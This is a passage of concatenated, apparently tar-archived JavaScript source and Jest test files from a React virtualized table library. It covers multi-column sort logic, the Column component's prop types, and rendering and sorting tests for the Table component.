      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('DESC');
      simulate(multiSort.sort, 'b', '', 'DESC');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('DESC');
      simulate(multiSort.sort, 'b', '', 'DESC');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('ASC');
    });
    it('resets sort-by fields', function () {
      var multiSort = createMultiSort(jest.fn(), {
        defaultSortBy: ['a', 'b']
      });
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
    });
    it('resets sort-direction fields', function () {
      var multiSort = createMultiSort(jest.fn(), {
        defaultSortBy: ['a', 'b'],
        defaultSortDirection: {
          a: 'DESC',
          b: 'ASC'
        }
      });
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toEqual('DESC');
      expect(multiSort.sortDirection.b).toEqual('ASC');
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toEqual('ASC');
      expect(multiSort.sortDirection.b).toEqual(undefined);
      simulate(multiSort.sort, 'b');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.a).toEqual(undefined);
      expect(multiSort.sortDirection.b).toEqual('ASC');
    });
  });
  describe('on shift click', function () {
    it('appends a field to the sort by list', function () {
      var multiSort = createMultiSort(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
    });
    it('toggles an appended field value', function () {
      var multiSort = createMultiSort(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
      simulate(multiSort.sort, 'a', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('DESC');
      expect(multiSort.sortDirection.b).toBe('ASC');
      simulate(multiSort.sort, 'a', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
    });
    it('able to shift+click more than once', function () {
      var multiSort = createMultiSort(jest.fn());
      simulate(multiSort.sort, 'a');
      expect(multiSort.sortBy).toEqual(['a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      simulate(multiSort.sort, 'b', 'shift');
      expect(multiSort.sortBy).toEqual(['a', 'b']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('ASC');
      simulate(multiSort.sort, 'b');
      expect(multiSort.sortBy).toEqual(['b']);
      expect(multiSort.sortDirection.b).toBe('DESC');
      simulate(multiSort.sort, 'a', 'shift');
      expect(multiSort.sortBy).toEqual(['b', 'a']);
      expect(multiSort.sortDirection.a).toBe('ASC');
      expect(multiSort.sortDirection.b).toBe('DESC');
    });
  });
  ['control', 'meta'].forEach(function (modifier) {
    describe("".concat(modifier, " click"), function () {
      it('removes a field from the sort by list', function () {
        var multiSort = createMultiSort(jest.fn(), {
          defaultSortBy: ['a', 'b']
        });
        expect(multiSort.sortBy).toEqual(['a', 'b']);
        simulate(multiSort.sort, 'a', modifier);
        expect(multiSort.sortBy).toEqual(['b']);
        simulate(multiSort.sort, 'b', modifier);
        expect(multiSort.sortBy).toEqual([]);
      });
      it('ignores fields not in the list on control click', function () {
        var multiSort = createMultiSort(jest.fn(), {
          defaultSortBy: ['a', 'b']
        });
        expect(multiSort.sortBy).toEqual(['a', 'b']);
        simulate(multiSort.sort, 'c', modifier);
        expect(multiSort.sortBy).toEqual(['a', 'b']);
      });
    });
  });
});es/Table/createMultiSort.js000064400000004336151677406000011702 0ustar00export default function createMultiSort(sortCallback) {
  var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},
      defaultSortBy = _ref.defaultSortBy,
      _ref$defaultSortDirec = _ref.defaultSortDirection,
      defaultSortDirection = _ref$defaultSortDirec === void 0 ? {} : _ref$defaultSortDirec;

  if (!sortCallback) {
    throw Error("Required parameter \"sortCallback\" not specified");
  }

  var sortBy = defaultSortBy || [];
  var sortDirection = {};
  sortBy.forEach(function (dataKey) {
    sortDirection[dataKey] = defaultSortDirection[dataKey] !== undefined ? defaultSortDirection[dataKey] : 'ASC';
  });

  function sort(_ref2) {
    var defaultSortDirection = _ref2.defaultSortDirection,
        event = _ref2.event,
        dataKey = _ref2.sortBy;

    if (event.shiftKey) {
      // Shift + click appends a column to existing criteria
      if (sortDirection[dataKey] !== undefined) {
        sortDirection[dataKey] = sortDirection[dataKey] === 'ASC' ? 'DESC' : 'ASC';
      } else {
        sortDirection[dataKey] = defaultSortDirection;
        sortBy.push(dataKey);
      }
    } else if (event.ctrlKey || event.metaKey) {
      // Control + click removes column from sort (if pressent)
      var index = sortBy.indexOf(dataKey);

      if (index >= 0) {
        sortBy.splice(index, 1);
        delete sortDirection[dataKey];
      }
    } else {
      // Clear sortBy array of all non-selected keys
      sortBy.length = 0;
      sortBy.push(dataKey); // Clear sortDirection object of all non-selected keys

      var sortDirectionKeys = Object.keys(sortDirection);
      sortDirectionKeys.forEach(function (key) {
        if (key !== dataKey) delete sortDirection[key];
      }); // If key is already selected, reverse sort direction.
      // Else, set sort direction to default direction.

      if (sortDirection[dataKey] !== undefined) {
        sortDirection[dataKey] = sortDirection[dataKey] === 'ASC' ? 'DESC' : 'ASC';
      } else {
        sortDirection[dataKey] = defaultSortDirection;
      }
    } // Notify application code


    sortCallback({
      sortBy: sortBy,
      sortDirection: sortDirection
    });
  }

  return {
    sort: sort,
    sortBy: sortBy,
    sortDirection: sortDirection
  };
}es/Table/Column.js000064400000006765151677406000010021 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import PropTypes from 'prop-types';
import * as React from 'react';
import defaultHeaderRenderer from './defaultHeaderRenderer';
import defaultCellRenderer from './defaultCellRenderer';
import defaultCellDataGetter from './defaultCellDataGetter';
import SortDirection from './SortDirection';
/**
 * Describes the header and cell contents of a table column.
 */

var Column =
/*#__PURE__*/
function (_React$Component) {
  _inherits(Column, _React$Component);

  function Column() {
    _classCallCheck(this, Column);

    return _possibleConstructorReturn(this, _getPrototypeOf(Column).apply(this, arguments));
  }

  return Column;
}(React.Component);

_defineProperty(Column, "defaultProps", {
  cellDataGetter: defaultCellDataGetter,
  cellRenderer: defaultCellRenderer,
  defaultSortDirection: SortDirection.ASC,
  flexGrow: 0,
  flexShrink: 1,
  headerRenderer: defaultHeaderRenderer,
  style: {}
});

export { Column as default };
Column.propTypes = process.env.NODE_ENV !== "production" ? {
  /** Optional aria-label value to set on the column header */
  'aria-label': PropTypes.string,

  /**
   * Callback responsible for returning a cell's data, given its :dataKey
   * ({ columnData: any, dataKey: string, rowData: any }): any
   */
  cellDataGetter: PropTypes.func,

  /**
   * Callback responsible for rendering a cell's contents.
   * ({ cellData: any, columnData: any, dataKey: string, rowData: any, rowIndex: number }): node
   */
  cellRenderer: PropTypes.func,

  /** Optional CSS class to apply to cell */
  className: PropTypes.string,

  /** Optional additional data passed to this column's :cellDataGetter */
  columnData: PropTypes.object,

  /** Uniquely identifies the row-data attribute corresponding to this cell */
  dataKey: PropTypes.any.isRequired,

  /** Optional direction to be used when clicked the first time */
  defaultSortDirection: PropTypes.oneOf([SortDirection.ASC, SortDirection.DESC]),

  /** If sort is enabled for the table at large, disable it for this column */
  disableSort: PropTypes.bool,

  /** Flex grow style; defaults to 0 */
  flexGrow: PropTypes.number,

  /** Flex shrink style; defaults to 1 */
  flexShrink: PropTypes.number,

  /** Optional CSS class to apply to this column's header */
  headerClassName: PropTypes.string,

  /**
   * Optional callback responsible for rendering a column header contents.
   * ({ columnData: object, dataKey: string, disableSort: boolean, label: node, sortBy: string, sortDirection: string }): PropTypes.node
   */
  headerRenderer: PropTypes.func.isRequired,

  /** Optional inline style to apply to this column's header */
  headerStyle: PropTypes.object,

  /** Optional id to set on the column header */
  id: PropTypes.string,

  /** Header label for this column */
  label: PropTypes.node,

  /** Maximum width of column; this property will only be used if :flexGrow is > 0. */
  maxWidth: PropTypes.number,

  /** Minimum width of column. */
  minWidth: PropTypes.number,

  /** Optional inline style to apply to cell */
  style: PropTypes.object,

  /** Flex basis (width) for this column; This value can grow or shrink based on :flexGrow and :flexShrink properties. */
  width: PropTypes.number.isRequired
} : {};es/Table/Table.jest.js000064400000145270151677406000010552 0ustar00import _defineProperty from "@babel/runtime/helpers/defineProperty";
import _slicedToArray from "@babel/runtime/helpers/slicedToArray";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _inherits from "@babel/runtime/helpers/inherits";
import _extends from "@babel/runtime/helpers/extends";
import _objectWithoutProperties from "@babel/runtime/helpers/objectWithoutProperties";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import { Simulate } from 'react-dom/test-utils';
import Immutable from 'immutable';
import Column from './Column';
import Table from './Table';
import SortDirection from './SortDirection';
describe('Table', function () {
  var array = [];

  for (var i = 0; i < 100; i++) {
    array.push({
      id: i,
      name: "Name ".concat(i),
      email: "user-".concat(i, "@treasure-data.com")
    });
  }

  var list = Immutable.fromJS(array); // Works with an Immutable List of Maps

  function immutableRowGetter(_ref) {
    var index = _ref.index;
    return list.get(index);
  } // Works with an Array of Objects


  function vanillaRowGetter(_ref2) {
    var index = _ref2.index;
    return array[index];
  } // Override default behavior of overscanning by at least 1 (for accessibility)
  // Because it makes for simple tests below


  function overscanIndicesGetter(_ref3) {
    var startIndex = _ref3.startIndex,
        stopIndex = _ref3.stopIndex;
    return {
      overscanStartIndex: startIndex,
      overscanStopIndex: stopIndex
    };
  }

  function getMarkup() {
    var _ref4 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        cellDataGetter = _ref4.cellDataGetter,
        cellRenderer = _ref4.cellRenderer,
        _ref4$columnData = _ref4.columnData,
        columnData = _ref4$columnData === void 0 ? {
      data: 123
    } : _ref4$columnData,
        columnID = _ref4.columnID,
        columnStyle = _ref4.columnStyle,
        columnHeaderStyle = _ref4.columnHeaderStyle,
        _ref4$disableSort = _ref4.disableSort,
        disableSort = _ref4$disableSort === void 0 ? false : _ref4$disableSort,
        headerRenderer = _ref4.headerRenderer,
        maxWidth = _ref4.maxWidth,
        minWidth = _ref4.minWidth,
        defaultSortDirection = _ref4.defaultSortDirection,
        label = _ref4.label,
        flexTableProps = _objectWithoutProperties(_ref4, ["cellDataGetter", "cellRenderer", "columnData", "columnID", "columnStyle", "columnHeaderStyle", "disableSort", "headerRenderer", "maxWidth", "minWidth", "defaultSortDirection", "label"]);

    return React.createElement(Table, _extends({
      headerHeight: 20,
      height: 100,
      overscanRowCount: 0,
      overscanIndicesGetter: overscanIndicesGetter,
      rowCount: list.size,
      rowGetter: immutableRowGetter,
      rowHeight: 10,
      width: 100
    }, flexTableProps), React.createElement(Column, {
      label: label || 'Name',
      dataKey: "name",
      columnData: columnData,
      width: 50,
      cellRenderer: cellRenderer,
      cellDataGetter: cellDataGetter,
      headerRenderer: headerRenderer,
      disableSort: disableSort,
      defaultSortDirection: defaultSortDirection,
      style: columnStyle,
      headerStyle: columnHeaderStyle,
      id: columnID
    }), React.createElement(Column, {
      label: "Email",
      dataKey: "email",
      maxWidth: maxWidth,
      minWidth: minWidth,
      width: 50
    }), false, true, null, undefined);
  }

  beforeEach(function () {
    return jest.resetModules();
  });
  describe('children', function () {
    it('should accept Column children', function () {
      var children = [React.createElement(Column, {
        dataKey: "foo",
        width: 100
      })];
      var result = Table.propTypes.children({
        children: children
      }, 'children', 'Table');
      expect(result instanceof Error).toEqual(false);
    });
    it('should accept subclasses of Column as children', function () {
      var AnotherColumn =
      /*#__PURE__*/
      function (_Column) {
        _inherits(AnotherColumn, _Column);

        function AnotherColumn() {
          _classCallCheck(this, AnotherColumn);

          return _possibleConstructorReturn(this, _getPrototypeOf(AnotherColumn).apply(this, arguments));
        }

        return AnotherColumn;
      }(Column);

      var children = [React.createElement(AnotherColumn, {
        dataKey: "foo",
        width: 100
      })];
      var result = Table.propTypes.children({
        children: children
      }, 'children', 'Table');
      expect(result instanceof Error).toEqual(false);
    });
    it('should not accept non-Column children', function () {
      var children = [React.createElement("div", null)];
      var result = Table.propTypes.children({
        children: children
      }, 'children', 'Table');
      expect(result instanceof Error).toEqual(true);
    });
    it('should accept falsy children to allow easier dynamic showing/hiding of columns', function () {
      var children = [false, React.createElement(Column, {
        dataKey: "foo",
        width: 100
      }), null];
      var result = Table.propTypes.children({
        children: children
      }, 'children', 'Table');
      expect(result instanceof Error).toEqual(false);
    });
  });
  describe('height', function () {
    it('should subtract header row height from the inner Grid height if headers are enabled', function () {
      var rendered = findDOMNode(render(getMarkup({
        headerHeight: 10,
        overscanRowCount: 0,
        rowHeight: 20,
        height: 50
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      expect(rows.length).toEqual(2);
    });
    it('should not subtract header row height from the inner Grid height if headers are disabled', function () {
      var rendered = findDOMNode(render(getMarkup({
        disableHeader: true,
        headerHeight: 10,
        overscanRowCount: 0,
        rowHeight: 20,
        height: 50
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      expect(rows.length).toEqual(3);
    });
  });
  describe('initial rendering', function () {
    // Ensure that both Immutable Lists of Maps and Arrays of Objects are supported
    var useImmutable = [true, false];
    useImmutable.forEach(function (useImmutable) {
      it('should render the correct number of rows', function () {
        var rendered = findDOMNode(render(getMarkup({
          rowGetter: useImmutable ? immutableRowGetter : vanillaRowGetter
        }))); // 100px height should fit 1 header (20px) and 8 rows (10px each) -

        expect(rendered.querySelectorAll('.ReactVirtualized__Table__headerRow').length).toEqual(1);
        expect(rendered.querySelectorAll('.ReactVirtualized__Table__row').length).toEqual(8);
      });
      it('should render the expected headers', function () {
        var rendered = findDOMNode(render(getMarkup({
          rowGetter: useImmutable ? immutableRowGetter : vanillaRowGetter
        })));
        var columns = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn');
        expect(columns.length).toEqual(2);
        expect(columns[0].textContent).toEqual('Name');
        expect(columns[1].textContent).toEqual('Email');
      });
      it('should render the expected rows and columns', function () {
        var rendered = findDOMNode(render(getMarkup({
          rowGetter: useImmutable ? immutableRowGetter : vanillaRowGetter,
          headerHeight: 10,
          rowHeight: 20,
          height: 50
        })));
        var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
        expect(rows.length).toEqual(2);
        Array.from(rows).forEach(function (row, index) {
          var rowData = list.get(index);
          var columns = row.querySelectorAll('.ReactVirtualized__Table__rowColumn');
          expect(columns.length).toEqual(2);
          expect(columns[0].textContent).toEqual(rowData.get('name'));
          expect(columns[1].textContent).toEqual(rowData.get('email'));
        });
      });
    });
    it('should support a :rowHeight function', function () {
      var rowHeight = function rowHeight(_ref5) {
        var index = _ref5.index;
        return 10 + index * 10;
      };

      var rendered = findDOMNode(render(getMarkup({
        rowHeight: rowHeight,
        rowCount: 3
      })));
      var rows = rendered.querySelectorAll('.ReactVirtualized__Table__row');
      Array.from(rows).forEach(function (row, index) {
        expect(Number.parseInt(row.style.height, 10)).toEqual(rowHeight({
          index: index
        }));
      });
    });
    it('should support :minWidth and :maxWidth values for a column', function () {
      var rendered = findDOMNode(render(getMarkup({
        maxWidth: 75,
        minWidth: 25,
        rowCount: 1
      })));
      var columns = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn');
      var emailColumn = columns[1];
      expect(Number.parseInt(emailColumn.style.maxWidth, 10)).toEqual(75);
      expect(Number.parseInt(emailColumn.style.minWidth, 10)).toEqual(25);
    });
  });
  describe('measureAllRows', function () {
    it('should measure any unmeasured rows', function () {
      var rendered = render(getMarkup({
        estimatedRowSize: 15,
        height: 0,
        rowCount: 10,
        rowHeight: function rowHeight() {
          return 20;
        },
        width: 0
      }));
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(150);
      rendered.measureAllRows();
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(200);
    });
  });
  describe('recomputeRowHeights', function () {
    it('should recompute row heights and other values when called', function () {
      var indices = [];

      var rowHeight = function rowHeight(_ref6) {
        var index = _ref6.index;
        indices.push(index);
        return 10;
      };

      var component = render(getMarkup({
        rowHeight: rowHeight,
        rowCount: 50
      }));
      indices.splice(0);
      component.recomputeRowHeights(); // Only the rows required to fill the current viewport will be rendered

      expect(indices[0]).toEqual(0);
      expect(indices[indices.length - 1]).toEqual(7);
      indices.splice(0);
      component.recomputeRowHeights(4);
      expect(indices[0]).toEqual(4);
      expect(indices[indices.length - 1]).toEqual(7);
    });
  });
  describe('forceUpdateGrid', function () {
    it('should refresh inner Grid content when called', function () {
      var marker = 'a';

      function cellRenderer(_ref7) {
        var rowIndex = _ref7.rowIndex;
        return "".concat(rowIndex).concat(marker);
      }

      var component = render(getMarkup({
        cellRenderer: cellRenderer
      }));
      var node = findDOMNode(component);
      expect(node.textContent).toContain('1a');
      marker = 'b';
      component.forceUpdateGrid();
      expect(node.textContent).toContain('1b');
    });
  });
  describe('custom getter functions', function () {
    it('should use a custom cellDataGetter if specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        cellDataGetter: function cellDataGetter(_ref8) {
          var dataKey = _ref8.dataKey,
              rowData = _ref8.rowData;
          return "Custom ".concat(dataKey, " for row ").concat(rowData.get('id'));
        }
      })));
      var nameColumns = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn:first-of-type');
      Array.from(nameColumns).forEach(function (nameColumn, index) {
        expect(nameColumn.textContent).toEqual("Custom name for row ".concat(index));
      });
    });
    it('should use a custom cellRenderer if specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        cellRenderer: function cellRenderer(_ref9) {
          var cellData = _ref9.cellData;
          return "Custom ".concat(cellData);
        }
      })));
      var nameColumns = rendered.querySelectorAll('.ReactVirtualized__Table__rowColumn:first-of-type');
      Array.from(nameColumns).forEach(function (nameColumn, index) {
        var rowData = list.get(index);
        expect(nameColumn.textContent).toEqual("Custom ".concat(rowData.get('name')));
      });
    });
    it('should set the rendered cell content as the cell :title if it is a string', function () {
      var rendered = findDOMNode(render(getMarkup({
        cellRenderer: function cellRenderer() {
          return 'Custom';
        }
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__rowColumn:first-of-type');
      expect(nameColumn.getAttribute('title')).toContain('Custom');
    });
    it('should not set a cell :title if the rendered cell content is not a string', function () {
      var rendered = findDOMNode(render(getMarkup({
        cellRenderer: function cellRenderer() {
          return React.createElement("div", null, "Custom");
        }
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__rowColumn:first-of-type');
      expect(nameColumn.getAttribute('title')).toEqual(null);
    });
    it('should set the rendered header label as header :title if it is a string', function () {
      var rendered = findDOMNode(render(getMarkup({
        label: 'Custom'
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerTruncatedText:first-of-type');
      expect(nameColumn.getAttribute('title')).toContain('Custom');
    });
    it('should not set a header :title if the rendered header label is not a string', function () {
      var rendered = findDOMNode(render(getMarkup({
        label: React.createElement("div", null, "Custom")
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerTruncatedText:first-of-type');
      expect(nameColumn.getAttribute('title')).toEqual(null);
    });
  });
  describe('sorting', function () {
    it('should not render sort indicators if no sort function is provided', function () {
      var rendered = findDOMNode(render(getMarkup()));
      var nameColumn = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.className || '').not.toContain('ReactVirtualized__Table__sortableHeaderColumn');
    });
    it('should not render sort indicators for non-sortable columns', function () {
      var rendered = findDOMNode(render(getMarkup({
        disableSort: true,
        sort: function sort() {}
      })));
      var nameColumn = rendered.querySelectorAll('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.className || '').not.toContain('ReactVirtualized__Table__sortableHeaderColumn');
      expect(rendered.querySelectorAll('.ReactVirtualized__Table__sortableHeaderColumn').length).toEqual(1); // Email only
    });
    it('should render sortable column headers as sortable', function () {
      var rendered = findDOMNode(render(getMarkup({
        sort: function sort() {}
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.className).toContain('ReactVirtualized__Table__sortableHeaderColumn');
      expect(rendered.querySelectorAll('.ReactVirtualized__Table__sortableHeaderColumn').length).toEqual(2); // Email and Name
    });
    it('should render the correct sort indicator by the current sort-by column', function () {
      var sortDirections = [SortDirection.ASC, SortDirection.DESC];
      sortDirections.forEach(function (sortDirection) {
        var rendered = findDOMNode(render(getMarkup({
          sort: function sort() {},
          sortBy: 'name',
          sortDirection: sortDirection
        })));
        var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
        expect(nameColumn.querySelector('.ReactVirtualized__Table__sortableHeaderIcon')).not.toEqual(null);
        expect(nameColumn.querySelector(".ReactVirtualized__Table__sortableHeaderIcon--".concat(sortDirection))).not.toEqual(null);
      });
    });
    it('should call sort with the correct arguments when the current sort-by column header is clicked', function () {
      var sortDirections = [SortDirection.ASC, SortDirection.DESC];
      sortDirections.forEach(function (sortDirection) {
        var sortCalls = [];
        var rendered = findDOMNode(render(getMarkup({
          sort: function sort(_ref10) {
            var sortBy = _ref10.sortBy,
                sortDirection = _ref10.sortDirection;
            return sortCalls.push({
              sortBy: sortBy,
              sortDirection: sortDirection
            });
          },
          sortBy: 'name',
          sortDirection: sortDirection
        })));
        var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
        Simulate.click(nameColumn);
        expect(sortCalls.length).toEqual(1);
        var _sortCalls$ = sortCalls[0],
            sortBy = _sortCalls$.sortBy,
            newSortDirection = _sortCalls$.sortDirection;
        var expectedSortDirection = sortDirection === SortDirection.ASC ? SortDirection.DESC : SortDirection.ASC;
        expect(sortBy).toEqual('name');
        expect(newSortDirection).toEqual(expectedSortDirection);
      });
    });
    it('should call sort with the correct arguments when a new sort-by column header is clicked', function () {
      var sortCalls = [];
      var rendered = findDOMNode(render(getMarkup({
        sort: function sort(_ref11) {
          var sortBy = _ref11.sortBy,
              sortDirection = _ref11.sortDirection;
          return sortCalls.push({
            sortBy: sortBy,
            sortDirection: sortDirection
          });
        },
        sortBy: 'email',
        sortDirection: SortDirection.ASC
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      Simulate.click(nameColumn);
      expect(sortCalls.length).toEqual(1);
      var _sortCalls$2 = sortCalls[0],
          sortBy = _sortCalls$2.sortBy,
          sortDirection = _sortCalls$2.sortDirection;
      expect(sortBy).toEqual('name');
      expect(sortDirection).toEqual(SortDirection.ASC);
    });
    it('should call sort when a column header is activated via ENTER or SPACE key', function () {
      var sortCalls = [];
      var rendered = findDOMNode(render(getMarkup({
        sort: function sort(_ref12) {
          var sortBy = _ref12.sortBy,
              sortDirection = _ref12.sortDirection;
          return sortCalls.push({
            sortBy: sortBy,
            sortDirection: sortDirection
          });
        },
        sortBy: 'name'
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(sortCalls.length).toEqual(0);
      Simulate.keyDown(nameColumn, {
        key: ' '
      });
      expect(sortCalls.length).toEqual(1);
      Simulate.keyDown(nameColumn, {
        key: 'Enter'
      });
      expect(sortCalls.length).toEqual(2);
      Simulate.keyDown(nameColumn, {
        key: 'F'
      });
      expect(sortCalls.length).toEqual(2);
    });
    it('should honor the default sort order on first click of the column', function () {
      var sortDirections = [SortDirection.ASC, SortDirection.DESC];
      sortDirections.forEach(function (sortDirection) {
        var sortCalls = [];
        var rendered = findDOMNode(render(getMarkup({
          sort: function sort(_ref13) {
            var sortBy = _ref13.sortBy,
                sortDirection = _ref13.sortDirection;
            return sortCalls.push({
              sortBy: sortBy,
              sortDirection: sortDirection
            });
          },
          defaultSortDirection: sortDirection
        })));
        var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
        Simulate.click(nameColumn);
        expect(sortCalls.length).toEqual(1);
        var _sortCalls$3 = sortCalls[0],
            sortBy = _sortCalls$3.sortBy,
            newSortDirection = _sortCalls$3.sortDirection;
        expect(sortBy).toEqual('name');
        expect(newSortDirection).toEqual(sortDirection);
      });
    });
  });
  describe('headerRowRenderer', function () {
    it('should render a custom header row if one is provided', function () {
      var headerRowRenderer = jest.fn().mockReturnValue(React.createElement("div", null, "foo bar"));
      var rendered = findDOMNode(render(getMarkup({
        headerHeight: 33,
        headerRowRenderer: headerRowRenderer,
        rowClassName: 'someRowClass'
      })));
      expect(rendered.textContent).toContain('foo bar');
      expect(headerRowRenderer).toHaveBeenCalled();
      var params = headerRowRenderer.mock.calls[0][0];
      expect(params.className).toContain('someRowClass');
      expect(params.columns).toHaveLength(2);
      expect(params.style.height).toBe(33);
    });
  });
  describe('headerRenderer', function () {
    it('should render a custom header if one is provided', function () {
      var columnData = {
        foo: 'foo',
        bar: 'bar'
      };
      var headerRendererCalls = [];
      var rendered = findDOMNode(render(getMarkup({
        columnData: columnData,
        headerRenderer: function headerRenderer(params) {
          headerRendererCalls.push(params);
          return 'custom header';
        },
        sortBy: 'name',
        sortDirection: SortDirection.ASC
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      expect(nameColumn.textContent).toContain('custom header');
      expect(headerRendererCalls.length).toBeTruthy();
      var headerRendererCall = headerRendererCalls[0];
      expect(headerRendererCall.columnData).toEqual(columnData);
      expect(headerRendererCall.dataKey).toEqual('name');
      expect(headerRendererCall.disableSort).toEqual(false);
      expect(headerRendererCall.label).toEqual('Name');
      expect(headerRendererCall.sortBy).toEqual('name');
      expect(headerRendererCall.sortDirection).toEqual(SortDirection.ASC);
    });
    it('should honor sort for custom headers', function () {
      var sortCalls = [];
      var rendered = findDOMNode(render(getMarkup({
        headerRenderer: function headerRenderer() {
          return 'custom header';
        },
        sort: function sort(_ref14) {
          var sortBy = _ref14.sortBy,
              sortDirection = _ref14.sortDirection;
          return sortCalls.push([sortBy, sortDirection]);
        },
        sortBy: 'name',
        sortDirection: SortDirection.ASC
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      Simulate.click(nameColumn);
      expect(sortCalls.length).toEqual(1);
      var sortCall = sortCalls[0];
      expect(sortCall[0]).toEqual('name');
      expect(sortCall[1]).toEqual(SortDirection.DESC);
    });
    it('should honor :onHeaderClick for custom header', function () {
      var columnData = {
        foo: 'foo',
        bar: 'bar'
      };
      var onHeaderClick = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        columnData: columnData,
        headerRenderer: function headerRenderer() {
          return 'custom header';
        },
        onHeaderClick: onHeaderClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__headerColumn:first-of-type');
      Simulate.click(nameColumn);
      expect(onHeaderClick).toHaveBeenCalledTimes(1);
      var params = onHeaderClick.mock.calls[0][0];
      expect(params.dataKey).toEqual('name');
      expect(params.columnData).toEqual(columnData);
      expect(params.event.type).toEqual('click');
    });
  });
  describe('noRowsRenderer', function () {
    it('should call :noRowsRenderer if :rowCount is 0', function () {
      var rendered = render(getMarkup({
        noRowsRenderer: function noRowsRenderer() {
          return React.createElement("div", null, "No rows!");
        },
        rowCount: 0
      }));
      var bodyDOMNode = findDOMNode(rendered.Grid);
      expect(bodyDOMNode.textContent).toEqual('No rows!');
    });
    it('should render an empty body if :rowCount is 0 and there is no :noRowsRenderer', function () {
      var rendered = render(getMarkup({
        rowCount: 0
      }));
      var bodyDOMNode = findDOMNode(rendered.Grid);
      expect(bodyDOMNode.textContent).toEqual('');
    });
  });
  describe('onColumnClick', function () {
    it('should call :onColumnClick with the correct arguments when a column is clicked', function () {
      var onColumnClick = jest.fn();
      var rendered = findDOMNode(render(getMarkup({
        onColumnClick: onColumnClick
      })));
      var nameColumn = rendered.querySelector('.ReactVirtualized__Table__rowColumn:first-of-type');
      Simulate.click(nameColumn);
